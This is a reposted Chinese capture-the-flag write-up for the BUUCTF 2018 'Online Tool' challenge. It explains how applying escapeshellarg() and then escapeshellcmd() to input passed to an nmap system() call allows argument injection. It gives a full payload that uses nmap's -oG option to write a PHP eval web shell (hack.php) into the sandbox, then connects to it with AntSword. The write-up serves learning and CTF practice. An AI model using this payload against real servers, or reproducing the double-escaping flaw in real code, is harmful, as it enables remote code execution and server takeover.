[BUUCTF 2018]Online Tool
Posted lleaves
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BUUCTF 2018]Online Tool相关的知识,希望对你有一定的参考价值。
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR‘])) {
$_SERVER[‘REMOTE_ADDR‘] = $_SERVER[‘HTTP_X_FORWARDED_FOR‘];
}
if(!isset($_GET[‘host‘])) {
highlight_file(__FILE__);
} else {
$host = $_GET[‘host‘];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER[‘REMOTE_ADDR‘]);
echo ‘you are in sandbox ‘.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
漏洞产生位置
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
**escapeshellarg() **将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(),
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线()会在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, x0A 和 xFF。 ‘ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
传入的参数是?host=127.0.0.1‘ <?php @eval($_POST["hack"]);?> -oG hack.php
首先经过 $host = escapeshellarg($host);
得到host变成了 ‘127.0.0.1‘‘‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘‘‘‘
即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过 $host = escapeshellcmd($host);
得到host变化为 ‘127.0.0.1‘\‘‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘\‘‘‘
最终相当于
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ‘127.0.0.1‘\‘‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘\‘‘‘");
也就是
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ‘127.0.0.1‘ ‘‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘‘‘‘");
由此可见所有的引号都闭合,可以正常执行
那么等待执行结果后可以使用蚁剑连接对应的沙盒
参考:
https://blog.csdn.net/qq_26406447/article/details/100711933
https://blog.csdn.net/weixin_44077544/article/details/102835099
https://paper.seebug.org/164/
以上是关于[BUUCTF 2018]Online Tool的主要内容,如果未能解决你的问题,请参考以下文章